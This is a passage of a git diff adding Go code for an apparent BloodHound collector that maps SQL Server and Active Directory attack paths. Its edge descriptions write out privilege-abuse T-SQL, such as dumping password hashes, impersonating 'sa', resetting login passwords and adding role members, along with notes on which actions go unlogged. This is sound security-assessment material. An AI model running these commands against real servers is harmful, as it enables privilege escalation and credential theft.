fallbackDomain string) (string, string) { + if strings.Contains(user, "\\") { + parts := strings.SplitN(user, "\\", 2) + return parts[0], parts[1] + } + if strings.Contains(user, "@") { + // For UPN formats, pass the full UPN as the username and leave domain empty. + return "", user + } + return fallbackDomain, user +} diff --git a/go/internal/ad/sid_nonwindows.go b/go/internal/ad/sid_nonwindows.go new file mode 100644 index 0000000..8ee2dcc --- /dev/null +++ b/go/internal/ad/sid_nonwindows.go @@ -0,0 +1,24 @@ +//go:build !windows +// +build !windows + +package ad + +import "fmt" + +// ResolveComputerSIDWindows resolves a computer's SID using Windows APIs +// On non-Windows platforms, this returns an error since Windows APIs aren't available +func ResolveComputerSIDWindows(computerName, domain string) (string, error) { + return "", fmt.Errorf("Windows API SID resolution not available on this platform") +} + +// ResolveComputerSIDByDomainSID constructs the computer's SID by looking up its RID +// On non-Windows platforms, this returns an error +func ResolveComputerSIDByDomainSID(computerName, domainSID, domain string) (string, error) { + return "", fmt.Errorf("Windows API SID resolution not available on this platform") +} + +// ResolveAccountSIDWindows resolves any account name to a SID using Windows APIs +// On non-Windows platforms, this returns an error since Windows APIs aren't available +func ResolveAccountSIDWindows(accountName string) (string, error) { + return "", fmt.Errorf("Windows API SID resolution not available on this platform") +} diff --git a/go/internal/ad/sid_windows.go b/go/internal/ad/sid_windows.go new file mode 100644 index 0000000..4cfd636 --- /dev/null +++ b/go/internal/ad/sid_windows.go @@ -0,0 +1,144 @@ +//go:build windows +// +build windows + +package ad + +import ( + "fmt" + "strings" + "syscall" + "unsafe" +) + +var ( + modNetapi32 = syscall.NewLazyDLL("netapi32.dll") + modAdvapi32 = syscall.NewLazyDLL("advapi32.dll") + procNetUserGetInfo = modNetapi32.NewProc("NetUserGetInfo") + procNetApiBufferFree = modNetapi32.NewProc("NetApiBufferFree") + procDsGetDcNameW = modNetapi32.NewProc("DsGetDcNameW") + procLookupAccountNameW = modAdvapi32.NewProc("LookupAccountNameW") + procConvertSidToStringSidW = modAdvapi32.NewProc("ConvertSidToStringSidW") + procLocalFree = syscall.NewLazyDLL("kernel32.dll").NewProc("LocalFree") +) + +// ResolveComputerSIDWindows resolves a computer's SID using Windows APIs +// This is more reliable than LDAP GSSAPI on Windows +func ResolveComputerSIDWindows(computerName, domain string) (string, error) { + // Format the computer name with $ suffix for the account + accountName := computerName + if !strings.HasSuffix(accountName, "$") { + accountName = accountName + "$" + } + + // If it's an FQDN, strip the domain part + if strings.Contains(accountName, ".") { + parts := strings.SplitN(accountName, ".", 2) + accountName = parts[0] + if !strings.HasSuffix(accountName, "$") { + accountName = accountName + "$" + } + } + + // Try with domain prefix + if domain != "" { + fullName := domain + "\\" + accountName + sid, err := lookupAccountSID(fullName) + if err == nil && sid != "" { + return sid, nil + } + } + + // Try just the account name + sid, err := lookupAccountSID(accountName) + if err == nil && sid != "" { + return sid, nil + } + + return "", fmt.Errorf("could not resolve SID for computer %s: %v", computerName, err) +} + +// lookupAccountSID uses LookupAccountNameW to get the SID for an account +func lookupAccountSID(accountName string) (string, error) { + accountNamePtr, err := syscall.UTF16PtrFromString(accountName) + if err != nil { + return "", err + } + + // First call to get buffer sizes + var sidSize, domainSize uint32 + var sidUse uint32 + + ret, _, _ := procLookupAccountNameW.Call( + 0, // lpSystemName - NULL for local + uintptr(unsafe.Pointer(accountNamePtr)), + 0, // Sid - NULL to get size + uintptr(unsafe.Pointer(&sidSize)), + 0, // ReferencedDomainName - NULL to get size + uintptr(unsafe.Pointer(&domainSize)), + uintptr(unsafe.Pointer(&sidUse)), + ) + + if sidSize == 0 { + return "", fmt.Errorf("LookupAccountNameW failed to get buffer size") + } + + // Allocate buffers + sid := make([]byte, sidSize) + domain := make([]uint16, domainSize) + + // Second call to get actual data + ret, _, err = procLookupAccountNameW.Call( + 0, + uintptr(unsafe.Pointer(accountNamePtr)), + uintptr(unsafe.Pointer(&sid[0])), + uintptr(unsafe.Pointer(&sidSize)), + uintptr(unsafe.Pointer(&domain[0])), + uintptr(unsafe.Pointer(&domainSize)), + uintptr(unsafe.Pointer(&sidUse)), + ) + + if ret == 0 { + return "", fmt.Errorf("LookupAccountNameW failed: %v", err) + } + + // Convert SID to string + return convertSIDToString(sid) +} + +// convertSIDToString converts a binary SID to string format +func convertSIDToString(sid []byte) (string, error) { + var stringSidPtr *uint16 + + ret, _, err := procConvertSidToStringSidW.Call( + uintptr(unsafe.Pointer(&sid[0])), + uintptr(unsafe.Pointer(&stringSidPtr)), + ) + + if ret == 0 { + return "", fmt.Errorf("ConvertSidToStringSidW failed: %v", err) + } + + defer procLocalFree.Call(uintptr(unsafe.Pointer(stringSidPtr))) + + // Convert UTF16 to string + sidString := syscall.UTF16ToString((*[256]uint16)(unsafe.Pointer(stringSidPtr))[:]) + return sidString, nil +} + +// ResolveComputerSIDByDomainSID constructs the computer's SID by looking up its RID +// This tries to find the computer account and return its full SID +func ResolveComputerSIDByDomainSID(computerName, domainSID, domain string) (string, error) { + // First try the direct Windows API method + sid, err := ResolveComputerSIDWindows(computerName, domain) + if err == nil && sid != "" && strings.HasPrefix(sid, domainSID) { + return sid, nil + } + + return "", fmt.Errorf("could not resolve computer SID using Windows APIs") +} + +// ResolveAccountSIDWindows resolves any account name to a SID using Windows APIs +// This works for users, groups, and computers +func ResolveAccountSIDWindows(accountName string) (string, error) { + return lookupAccountSID(accountName) +} diff --git a/go/internal/bloodhound/edges.go b/go/internal/bloodhound/edges.go new file mode 100644 index 0000000..ab2024f --- /dev/null +++ b/go/internal/bloodhound/edges.go @@ -0,0 +1,1449 @@ +// Package bloodhound provides BloodHound OpenGraph JSON output generation. +// This file contains edge property generators that match the PowerShell version. +package bloodhound + +import ( + "strings" +) + +// EdgeProperties contains the documentation and metadata for an edge +type EdgeProperties struct { + Traversable bool `json:"traversable"` + General string `json:"general"` + WindowsAbuse string `json:"windowsAbuse"` + LinuxAbuse string `json:"linuxAbuse"` + Opsec string `json:"opsec"` + References string `json:"references"` +} + +// EdgeContext provides context for generating edge properties +type EdgeContext struct { + SourceName string + SourceType string + SourceID string // ObjectIdentifier of source node + TargetName string + TargetType string + TargetID string // ObjectIdentifier of target node + TargetTypeDescription string // e.g., "SERVER_ROLE", "DATABASE_ROLE", "APPLICATION_ROLE", "SQL_LOGIN" + SQLServerName string + SQLServerID string // Server ObjectIdentifier + DatabaseName string + Permission string + IsFixedRole bool + SecurityIdentifier string // SID for CoerceAndRelay edges + ProxyName string // Proxy name for HasProxyCred edges + CredentialIdentity string // Credential identity for HasMappedCred/HasDBScopedCred edges + Subsystems string // Proxy subsystems for HasProxyCred edges + IsEnabled bool // Whether a proxy/login is enabled +} + +// escapeAndUpper escapes backslashes and uppercases an ObjectIdentifier for use in Cypher queries. +func escapeAndUpper(id string) string { + return strings.ToUpper(strings.ReplaceAll(id, `\`, `\\`)) +} + +// extractDBID extracts the database ObjectIdentifier from a compound ID (e.g., "user@dbid" -> "dbid"). +func extractDBID(objectID string) string { + parts := strings.SplitN(objectID, "@", 2) + if len(parts) == 2 { + return parts[1] + } + return objectID +} + +// GetEdgeProperties returns the properties for a given edge kind. +// Matches PS1 Add-Edge behavior: filters out empty strings but always includes booleans. +func GetEdgeProperties(kind string, ctx *EdgeContext) map[string]interface{} { + props := make(map[string]interface{}) + + generator, ok := edgePropertyGenerators[kind] + if !ok { + // Default properties for unknown edge types + props["traversable"] = true + props["general"] = "Relationship exists between source and target." + return props + } + + edgeProps := generator(ctx) + props["traversable"] = edgeProps.Traversable + + // Only set non-empty string properties (matches PS1 Add-Edge filtering) + if edgeProps.General != "" { + props["general"] = edgeProps.General + } + if edgeProps.WindowsAbuse != "" { + props["windowsAbuse"] = edgeProps.WindowsAbuse + } + if edgeProps.LinuxAbuse != "" { + props["linuxAbuse"] = edgeProps.LinuxAbuse + } + if edgeProps.Opsec != "" { + props["opsec"] = edgeProps.Opsec + } + if edgeProps.References != "" { + props["references"] = edgeProps.References + } + + // Add composition if available + if compGen, ok := edgeCompositionGenerators[kind]; ok && ctx != nil { + if comp := compGen(ctx); comp != "" { + props["composition"] = comp + } + } + + return props +} + +// IsTraversableEdge returns whether an edge type is traversable based on its +// property generator definition. This matches the PowerShell EdgePropertyGenerators +// traversable values. +func IsTraversableEdge(kind string) bool { + // Check against known non-traversable edge types (matching PowerShell EdgePropertyGenerators) + switch kind { + case EdgeKinds.Alter, + EdgeKinds.Control, + EdgeKinds.Impersonate, + EdgeKinds.AlterAnyLogin, + EdgeKinds.AlterAnyServerRole, + EdgeKinds.AlterAnyAppRole, + EdgeKinds.AlterAnyDBRole, + EdgeKinds.Connect, + EdgeKinds.ConnectAnyDatabase, + EdgeKinds.TakeOwnership, + EdgeKinds.HasDBScopedCred, + EdgeKinds.HasMappedCred, + EdgeKinds.HasProxyCred, + EdgeKinds.AlterDB, + EdgeKinds.AlterDBRole, + EdgeKinds.AlterServerRole, + EdgeKinds.ImpersonateDBUser, + EdgeKinds.ImpersonateLogin, + EdgeKinds.LinkedTo, + EdgeKinds.IsTrustedBy, + EdgeKinds.ServiceAccountFor: + return false + default: + return true + } +} + +// edgePropertyGenerators maps edge kinds to their property generators +var edgePropertyGenerators = map[string]func(*EdgeContext) EdgeProperties{ + + EdgeKinds.MemberOf: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " is a member of the " + ctx.TargetType + ". This membership grants all permissions associated with the target role to the source principal.", + WindowsAbuse: "When connected to the server/database as " + ctx.SourceName + ", you have all permissions granted to the " + ctx.TargetName + " role.", + LinuxAbuse: "When connected to the server/database as " + ctx.SourceName + ", you have all permissions granted to the " + ctx.TargetName + " role.", + Opsec: "Role membership is a static relationship. Actions performed using role permissions are logged based on the specific operation, not the role membership itself. \n" + + "To view current role memberships at server level: \n" + + "SELECT \n" + + " r.name AS RoleName,\n" + + " m.name AS MemberName\n" + + "FROM sys.server_role_members rm\n" + + "JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id\n" + + "JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id\n" + + "ORDER BY r.name, m.name; \n" + + "To view current role memberships at database level: \n" + + "SELECT \n" + + " r.name AS RoleName,\n" + + " m.name AS MemberName\n" + + "FROM sys.database_role_members rm\n" + + "JOIN sys.database_principals r ON rm.role_principal_id = r.principal_id\n" + + "JOIN sys.database_principals m ON rm.member_principal_id = m.principal_id\n" + + "ORDER BY r.name, m.name; ", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/server-level-roles?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-role-members-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-role-members-transact-sql?view=sql-server-ver17", + } + }, + + EdgeKinds.IsMappedTo: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The server login " + ctx.SourceName + " is mapped to the " + ctx.DatabaseName + " database user " + ctx.TargetName + ".", + WindowsAbuse: "Connect as the login and use the database: USE " + ctx.DatabaseName + "; ", + LinuxAbuse: "Connect as the login and use the database: USE " + ctx.DatabaseName + "; ", + Opsec: "This is a static mapping. Actions are logged based on what the database user does.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/create-a-database-user?view=sql-server-ver17", + } + }, + + EdgeKinds.Contains: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " contains the " + ctx.TargetType + ". This is a structural relationship showing that the target exists within the scope of the source.", + WindowsAbuse: "This is a structural relationship and cannot be directly abused. Control of " + ctx.SourceType + " implies control of " + ctx.TargetType + ".", + LinuxAbuse: "This is a structural relationship and cannot be directly abused. Control of " + ctx.SourceType + " implies control of " + ctx.TargetType + ".", + Opsec: "", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/principals-database-engine?view=sql-server-ver17", + } + }, + + EdgeKinds.Owns: func(ctx *EdgeContext) EdgeProperties { + var windowsAbuse, linuxAbuse string + if ctx.TargetType == "MSSQL_Database" { + windowsAbuse = "As the database owner, connect to the " + ctx.SQLServerName + " SQL server and execute:\n" + + "USE " + ctx.TargetName + "; \n" + + "-- You have db_owner privileges in this database \n" + + "-- Add users, grant permissions, modify objects, etc. \n" + + "-- Examples: \n" + + "CREATE USER [NewUser] FOR LOGIN [SomeLogin]; \n" + + "EXEC sp_addrolemember 'db_datareader', 'NewUser'; \n" + + "GRANT CONTROL TO [SomeUser]; " + linuxAbuse = windowsAbuse + } else if ctx.TargetType == "MSSQL_ServerRole" { + windowsAbuse = "As the server role owner, connect to the " + ctx.SQLServerName + " SQL server and execute:\n" + + "-- Add members to the owned role \n" + + "EXEC sp_addsrvrolemember 'target_login', '" + ctx.TargetName + "'; \n" + + "-- Change role name \n" + + "ALTER SERVER ROLE [" + ctx.TargetName + "] WITH NAME = [NewName]; \n" + + "-- Transfer ownership \n" + + "ALTER AUTHORIZATION ON SERVER ROLE::[" + ctx.TargetName + "] TO [another_login]; " + linuxAbuse = windowsAbuse + } else if ctx.TargetType == "MSSQL_DatabaseRole" { + windowsAbuse = "As the database role owner, connect to the " + ctx.SQLServerName + " SQL server and execute:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "-- Add members to the owned role \n" + + "EXEC sp_addrolemember '" + ctx.TargetName + "', 'target_user'; \n" + + "-- Change role name \n" + + "ALTER ROLE [" + ctx.TargetName + "] WITH NAME = [NewName]; \n" + + "-- Transfer ownership \n" + + "ALTER AUTHORIZATION ON ROLE::[" + ctx.TargetName + "] TO [another_user]; " + linuxAbuse = windowsAbuse + } + return EdgeProperties{ + Traversable: true, + General: "The " + ctx.SourceType + " owns the " + ctx.TargetType + ". Ownership provides full control over the object, including the ability to grant permissions, change properties, and in most cases, impersonate or control access.", + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: "Ownership relationships are static and actions taken as an owner are typically logged based on the specific action performed. Role membership changes are logged by default, but ownership transfers and role property changes may not be logged.", + References: "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addrolemember-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addsrvrolemember-transact-sql?view=sql-server-ver17", + } + }, + + EdgeKinds.ControlServer: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The CONTROL SERVER permission on a server allows the source " + ctx.SourceType + " to conduct any action in the instance of SQL Server that is not explicitly denied. An exception is for members of the sysadmin server role, in which case explicit denies are ignored.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "SELECT * FROM sys.sql_logins; -- dump hashes ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "SELECT * FROM sys.sql_logins; -- dump hashes ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log event generation is dependent on the action performed.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine?view=sql-server-ver17#sql-server-permissions \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17", + } + }, + + EdgeKinds.ControlDB: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The CONTROL permission on a database grants the source " + ctx.SourceType + " all defined permissions on the database and its descendent objects. This includes the ability to impersonate any database user, add members to any role, change ownership of objects, and execute any action within the database. WARNING: This includes the ability to change application role passwords, which will break applications using those roles and cause an outage.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statements:\n" + + "USE " + ctx.TargetName + "; \n" + + "Impersonate user: EXECUTE AS USER = 'user_name'; SELECT USER_NAME(); REVERT; \n" + + "Add member to role: EXEC sp_addrolemember 'role_name', 'user_name'; \n" + + "Change role owner: ALTER AUTHORIZATION ON ROLE::[role_name] TO [user_name]; \n" + + "Change app role password: WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statements:\n" + + "USE " + ctx.TargetName + "; \n" + + "Impersonate user: EXECUTE AS USER = 'user_name'; SELECT USER_NAME(); REVERT; \n" + + "Add member to role: EXEC sp_addrolemember 'role_name', 'user_name'; \n" + + "Change role owner: ALTER AUTHORIZATION ON ROLE::[role_name] TO [user_name]; \n" + + "Change app role password: WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage.", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for user impersonation, role ownership changes, or application role password changes by default. Log events are generated by default for additions to database role membership. \n" + + "To view database role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + CASE WHEN EventClass = 110 THEN ' added ' WHEN EventClass = 111 THEN ' removed ' END + TargetUserName + CASE WHEN EventClass = 110 THEN ' to ' WHEN EventClass = 111 THEN ' from ' END + ObjectName + ' in database ' + DatabaseName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass IN (110, 111) ORDER BY StartTime DESC; ", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine?view=sql-server-ver17#permissions-naming-conventions \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-authorization-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-application-role-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17", + } + }, + + EdgeKinds.Impersonate: func(ctx *EdgeContext) EdgeProperties { + var windowsAbuse, linuxAbuse, opsec string + if ctx.DatabaseName != "" { + // Database-level impersonation (EXECUTE AS USER) + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "EXECUTE AS USER = '" + ctx.TargetName + "' \n" + + " SELECT USER_NAME() \n" + + "REVERT " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "USE " + ctx.DatabaseName + "; \n" + + "EXECUTE AS USER = '" + ctx.TargetName + "' \n" + + " SELECT USER_NAME() \n" + + "REVERT " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for user impersonation by default." + } else { + // Server-level impersonation (EXECUTE AS LOGIN) + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = '" + ctx.TargetName + "' \n" + + " SELECT SUSER_NAME() \n" + + "REVERT " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = '" + ctx.TargetName + "' \n" + + " SELECT SUSER_NAME() \n" + + "REVERT " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for login impersonation by default." + } + return EdgeProperties{ + Traversable: false, // Non-traversable (matches PowerShell); MSSQL_ExecuteAs is the traversable counterpart + General: "The IMPERSONATE permission on a securable object effectively grants the source " + ctx.SourceType + " the ability to impersonate the target object.", + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: opsec, + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine?view=sql-server-ver17#permissions-naming-conventions \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17", + } + }, + + EdgeKinds.ImpersonateAnyLogin: func(ctx *EdgeContext) EdgeProperties { + return EdgeProperties{ + Traversable: true, + General: "The IMPERSONATE ANY LOGIN permission on the server object effectively grants the source " + ctx.SourceType + " the ability to impersonate any server login.", + WindowsAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = 'sa' \n" + + " -- Now executing with sa privileges \n" + + " SELECT SUSER_NAME() \n" + + " -- Perform privileged actions here \n" + + "REVERT ", + LinuxAbuse: "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "EXECUTE AS LOGIN = 'sa' \n" + + " -- Now executing with sa privileges \n" + + " SELECT SUSER_NAME() \n" + + " -- Perform privileged actions here \n" + + "REVERT ", + Opsec: "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for login impersonation by default.", + References: "- https://learn.microsoft.com/en-us/sql/relational-databases/security/permissions-database-engine?view=sql-server-ver17#permissions-naming-conventions \n" + + "- https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17", + } + }, + + EdgeKinds.ChangePassword: func(ctx *EdgeContext) EdgeProperties { + var general, windowsAbuse, linuxAbuse, opsec, references string + if ctx.TargetTypeDescription == "APPLICATION_ROLE" { + general = "WARNING: DO NOT execute this attack, as it will immediately break the application that relies on this application role to access this database and WILL cause an outage. The ALTER ANY APPLICATION ROLE permission on a database allows the source " + ctx.SourceType + " to change the password for an application role, activate the application role with the new password, and execute actions with the application role's permissions." + windowsAbuse = general + linuxAbuse = general + opsec = general + references = "- https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/application-roles?view=sql-server-ver17" + } else { + general = "The source " + ctx.SourceType + " can change the password for this " + ctx.TargetType + "." + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'password'; " + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "ALTER LOGIN [" + ctx.TargetName + "] WITH PASSWORD = 'password'; " + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are not generated for password changes by default." + references = "- https://learn.microsoft.com/en-us/sql/t-sql/statements/alter-login-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17" + } + return EdgeProperties{ + Traversable: true, + General: general, + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: opsec, + References: references, + } + }, + + EdgeKinds.AddMember: func(ctx *EdgeContext) EdgeProperties { + var windowsAbuse, linuxAbuse, opsec, references string + if ctx.TargetTypeDescription == "SERVER_ROLE" { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "EXEC sp_addsrvrolemember 'login_name', '" + ctx.TargetName + "';" + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "EXEC sp_addsrvrolemember 'login_name', '" + ctx.TargetName + "';" + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to role membership. \n" + + "To view role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + ' added ' + TargetLoginName + ' to ' + RoleName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass = 108 ORDER BY StartTime DESC;" + references = "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addsrvrolemember-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16" + } else { + windowsAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using sqlcmd, SQL Server Management Studio, mssql-cli, or proxied Linux tooling such as impacket mssqlclient.py) and execute the following SQL statement:\n" + + "EXEC sp_addrolemember '" + ctx.TargetName + "', 'user_name';" + linuxAbuse = "Connect to the " + ctx.SQLServerName + " SQL server as " + ctx.SourceName + " (e.g., using impacket mssqlclient.py or proxied Windows tooling such as sqlcmd, mssql-cli, or SQL Server Management Studio) and execute the following SQL statement:\n" + + "EXEC sp_addrolemember '" + ctx.TargetName + "', 'user_name';" + opsec = "SQL Server logs certain security-related events to a trace log by default, but must be configured to forward them to a SIEM. The local log may roll over frequently on large, active servers, as the default storage size is only 20 MB. Furthermore, the default trace log is deprecated and may be removed in future versions to be replaced permanently by Extended Events. \n" + + "Log events are generated by default for additions to role membership. \n" + + "To view role membership change logs, execute: \n" + + "SELECT StartTime, LoginName + CASE WHEN EventClass = 110 THEN ' added ' WHEN EventClass = 111 THEN ' removed ' END + TargetUserName + CASE WHEN EventClass = 110 THEN ' to ' WHEN EventClass = 111 THEN ' from ' END + ObjectName + ' in database ' + DatabaseName AS Change FROM sys.fn_trace_gettable((SELECT CONVERT(NVARCHAR(260), value) FROM sys.fn_trace_getinfo(1) WHERE property = 2), DEFAULT) WHERE EventClass IN (110, 111) ORDER BY StartTime DESC;" + references = "- https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-addrolemember-transact-sql?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/default-trace-enabled-server-configuration-option?view=sql-server-ver17 \n" + + "- https://learn.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-database-engine?view=sql-server-ver16" + } + return EdgeProperties{ + Traversable: true, + General: "The source " + ctx.SourceType + " can add members to this " + ctx.TargetType + ", granting the new member the permissions assigned to the role.", + WindowsAbuse: windowsAbuse, + LinuxAbuse: linuxAbuse, + Opsec: opsec, + References: references, + } + }, + + EdgeKinds.Alter: func(ctx *EdgeContext) EdgeProperties { + var windowsAbuse, linuxAbuse, opsec string + if ctx.DatabaseName != "" { + // Database-level targets + if ctx.TargetTypeDescription == "DATABASE_ROLE" { + windowsAbuse = "Connect to the " + 